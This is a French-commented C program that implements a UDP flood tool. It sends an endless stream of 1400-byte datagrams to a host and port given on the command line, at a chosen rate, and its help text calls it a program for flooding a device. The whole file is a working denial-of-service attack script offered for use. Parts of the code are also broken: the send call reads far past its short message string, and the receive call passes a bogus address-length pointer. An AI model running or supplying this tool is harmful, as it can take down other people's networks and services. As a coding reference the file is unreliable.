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| #include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <math.h>
#include <time.h>
#define PORT 443
#define TAILLE 1400
void warning(char* message)//***Avertissement d'une erreur
{
printf("Erreur %s\n",message);
perror("Message d'erreur: ");
exit(1);
}
int torpille_udp (int broadcast)//***Créer un socket UDP
{
int sock;
if ((sock = socket (AF_INET, SOCK_DGRAM, 0)) < 0) {
warning ("création torpille");
return (-1);
}
setsockopt(sock,SOL_SOCKET,SO_BROADCAST, &broadcast,sizeof(broadcast));
return (sock);
}
void help()//***Aide à l'utilisation
{
printf("Flood [-a destination] [-p port] [-d debit] [-h] [destination]\n");
printf("Programme permettant le flood d'un équipement par l'envoi massif de segments UDP\n");
exit(2);
}
int main(int argc,char** argv)
{
int torpille, j = 0, i = 0, octetSend = 0, octetRecv = 0;
double debit = 0;
struct sockaddr_in adresse, source, msgSource;
struct hostent * hostent = NULL;
struct protoent * protoent = NULL;
char *hote = NULL, msg[500] = {0};
int prt = PORT;
int option;
while ((option = getopt(argc,argv,"d:p:a:h")) != -1) {
switch(option) {
case 'a':
hote = optarg;
break;
case 'p':
sscanf(optarg,"%d",&prt);
break;
case 'd':
sscanf(optarg,"%lf",&debit);
j = (int)(debit / TAILLE);
break;
case 'h':
case '?':
default:
help();
break;
}
}
if ((hote == NULL) && (optind < argc)) hote = argv[optind];
if (hote == NULL) help();
if (debit == 0) help();
torpille = torpille_udp(1);
if (hote != NULL)
if ((hostent = gethostbyname (hote)) == NULL) {
warning ("gethostbyname");
return (-1);
}
if ((protoent = getprotobyname ("udp")) == NULL) {
warning ("getprotobyname");
return (-1);
}
memset (&adresse, 0, sizeof (struct sockaddr_in));
memset (&source, 0, sizeof (struct sockaddr_in));
memset (&msgSource, 0, sizeof (struct sockaddr_in));
adresse.sin_family = AF_INET;
if (prt != 0)
adresse.sin_port = htons(prt);
else
adresse.sin_port = htons (PORT);
if (hostent != NULL)
adresse.sin_addr . s_addr = ((struct in_addr *) (hostent -> h_addr)) -> s_addr;
else
warning("pas de destinataire");
source.sin_family = AF_INET;
source.sin_port = htons(40500);
source.sin_addr . s_addr = INADDR_ANY;
if (bind(torpille, (struct sockaddr*)&source, sizeof(source)) < 0)
warning("Bind");
printf("***************************************\n");
printf("* Flood UDP *\n");
printf("***************************************\n\n");
printf("Envoi de segments UDP en direction de %s:%d ...\n\n", hote, prt);
while (1)
{
octetSend = 0;
octetRecv = 0;
for (i = 0; i < j; i++)
{
octetSend += sendto(torpille,"Torpillage",TAILLE,0,(struct sockaddr *) &adresse,sizeof (struct sockaddr_in));
}
if ((int)(octetSend / 1000000) >= 1)
{
printf("Debit envoye : %.3lf Mbps (Total segments : %d)\n", (double)octetSend/1000000, j);
}
else if ((int)(octetSend / 1000) >= 1)
{
printf("Debit envoye : %.3lf Kbps (Total segments : %d)\n", (double)octetSend/1000, j);
}
else
printf("Debit envoye : %d bps (Total segments : %d)\n", octetSend, j);
usleep(1000000);
while ((i = recvfrom(torpille, msg, 50, 0, (struct sockaddr *) &msgSource, (int*) sizeof(msgSource))) > 0)
{
printf("Nombre d'octets capturés : %d", i);
}
printf("valeur de i = %d\n", i);
}
close(torpille);
exit(0);
} |
